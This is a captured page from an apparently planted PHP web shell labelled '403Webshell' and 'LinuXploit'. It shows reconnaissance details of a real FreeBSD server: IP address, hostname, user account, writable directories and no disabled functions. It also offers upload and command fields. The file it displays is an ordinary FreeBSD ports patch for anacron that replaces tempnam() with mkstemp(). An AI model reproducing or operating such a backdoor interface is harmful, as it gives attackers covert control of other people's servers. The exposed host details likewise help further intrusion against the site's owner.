403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/anacron/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/anacron/files/patch-runjob.c
--- runjob.c.orig	2000-06-20 23:12:18 UTC
+++ runjob.c
@@ -39,26 +39,14 @@ static int
 temp_file()
 /* Open a temporary file and return its file descriptor */
 {
-    const int max_retries = 50;
-    char *name;
-    int fd, i;
+    int fd;
+    char name[] = "/tmp/anacron.XXXXXX";
 
-    i = 0;
-    name = NULL;
-    do
-    {
-	i++;
-	free(name);
-	name = tempnam(NULL, NULL);
-	if (name == NULL) die("Can't find a unique temporary filename");
-	fd = open(name, O_RDWR | O_CREAT | O_EXCL | O_APPEND,
-		  S_IRUSR | S_IWUSR);
-	/* I'm not sure we actually need to be so persistent here */
-    } while (fd == -1 && errno == EEXIST && i < max_retries);
-    
+    fd = mkstemp(name);
+
     if (fd == -1) die_e("Can't open temporary file");
     if (unlink(name)) die_e("Can't unlink temporary file");
-    free(name);
+
     fcntl(fd, F_SETFD, 1);    /* set close-on-exec flag */
     return fd;
 }
@@ -84,7 +72,7 @@ username()
 }
 
 static void
-xputenv(const char *s)
+xputenv(char *s)
 {
     if (putenv(s)) die_e("Can't set the environment");
 }

Youez - 2016 - github.com/yon3zu
LinuXploit